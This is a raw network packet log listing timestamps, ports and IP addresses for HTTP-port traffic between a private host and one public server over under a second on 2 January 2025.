Jan 2, 2025 20:20:09.619257927 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.619270086 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.619280100 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.619293928 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.619297028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.619307995 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.619330883 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.619335890 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.619335890 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.619343042 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.619353056 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.619360924 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.619364023 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.619378090 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.619411945 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.619411945 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.619458914 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.620013952 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.620023966 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.620035887 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.620054007 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.620064974 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.620074034 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.620085955 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.620090008 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.620096922 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.620106936 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.620117903 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.620135069 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.620135069 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.620135069 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.620136976 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.620188951 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.620188951 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.620215893 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.620233059 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.620244026 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.620254993 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.620265961 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.620270967 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.620270967 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.620275974 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.620285988 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.620292902 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.620296955 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.620309114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.620318890 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.620330095 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.620342016 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.620342016 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.620388031 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.625338078 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.625355005 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.625385046 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.625385046 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.625405073 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.625406027 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.625416040 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.625427961 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.625437021 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.625438929 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.625448942 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.625448942 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.625477076 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.625500917 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.627003908 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.627032042 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.627043009 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.627068043 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.627068043 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.627068043 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.627079964 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.627091885 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.627105951 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.627105951 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.627110958 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.627121925 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.627132893 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.627144098 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.627161980 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.627161980 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.627178907 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.627191067 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.627202034 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.627212048 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.627222061 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.627223015 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.627223015 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.627260923 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.627260923 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.654486895 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.654506922 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.654525042 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.654536009 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.654547930 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.654557943 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.654563904 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.654567957 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.654567957 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.654654026 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.654665947 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.654676914 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.654689074 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.654699087 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.654709101 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.654715061 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.654720068 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.654731035 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.654767990 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.654767990 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.665460110 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.665479898 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.665497065 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.665508032 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.665518045 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.665518999 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.665530920 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.665543079 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.665553093 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.665565014 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.665565014 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.665587902 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.665615082 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.671997070 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.672022104 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.672040939 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.672053099 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.672064066 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.672065973 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.672075987 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.672086000 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.672092915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.672103882 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.672118902 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.672158003 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.675851107 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.675863981 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.675875902 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.675893068 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.675904036 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.675918102 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.675925016 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.675931931 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.675931931 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.675971985 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.679481030 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.679493904 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.679506063 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.679512024 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.679523945 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.679529905 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.679543972 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.679574013 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.679574013 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.679574013 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.696439981 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.696485996 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.696496964 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.696504116 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.696515083 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.696522951 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.696527004 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.696537018 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.696552992 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.696564913 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.696573973 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.696573973 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.696578979 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.696589947 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.696616888 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.696633101 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.709640026 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.709662914 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.709672928 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.709683895 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.709688902 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.709696054 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.709712982 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.709733963 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.709748030 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.709749937 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.709762096 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.709773064 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.709783077 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.709790945 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.709803104 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.709814072 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.709819078 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.709829092 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.709835052 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.709841013 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.709851980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.709867954 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.709872007 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.709886074 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.709899902 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.709909916 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.709917068 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.709917068 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.709922075 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.709933043 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.709949017 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.709960938 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.709970951 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.709990025 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.709990025 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.710606098 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.710617065 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.710635900 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.710647106 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.710659027 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.710669994 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.710680962 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.710681915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.710702896 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.710727930 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.710727930 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.710851908 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.710870028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.710880995 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.710891008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.710901976 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.710902929 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.710913897 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.710925102 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.710932970 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.710933924 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.710946083 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.710956097 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.710957050 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.710964918 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.710967064 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.710978031 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.710988998 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.710995913 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.710999012 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.711009979 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.711025000 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.711029053 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.711061954 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.711085081 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.715827942 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.715907097 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.715929031 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.715940952 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.715951920 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.715962887 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.715972900 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.715984106 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.715985060 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.715995073 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.716006994 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.716013908 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.716013908 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.716056108 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.717667103 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.717677116 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.717686892 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.717698097 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.717710018 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.717720032 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.717720985 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.717731953 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.717751026 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.717776060 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.717778921 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.717792988 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.717799902 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.717803955 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.717816114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.717823029 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.717827082 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.717837095 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.717839003 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.717850924 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.717860937 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.717873096 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.717873096 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.717891932 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.717900038 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.744910002 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.744923115 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.744935036 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.744946957 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.744957924 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.744965076 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.744975090 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.744985104 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.744997025 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.745007038 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.745017052 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.745031118 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.745031118 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.745033026 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.745043993 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.745058060 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.745062113 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.745074987 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.745074987 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.745085955 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.745091915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.745093107 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.745140076 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.756349087 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.756362915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.756375074 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.756386042 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.756397009 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.756405115 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.756407976 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.756421089 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.756453991 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.756493092 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.762516022 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.762557983 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.762567997 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.762578964 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.762614012 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.762614965 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.762624979 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.762635946 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.762645960 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.762646914 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.762658119 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.762672901 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.762701035 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.762701035 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.766472101 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.766530991 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.766542912 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.766565084 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.766577005 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.766587973 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.766598940 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.766604900 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.766604900 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.766611099 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.766623020 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.766648054 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.766648054 CET	49704	80	192.168.2.8	47.254.187.72
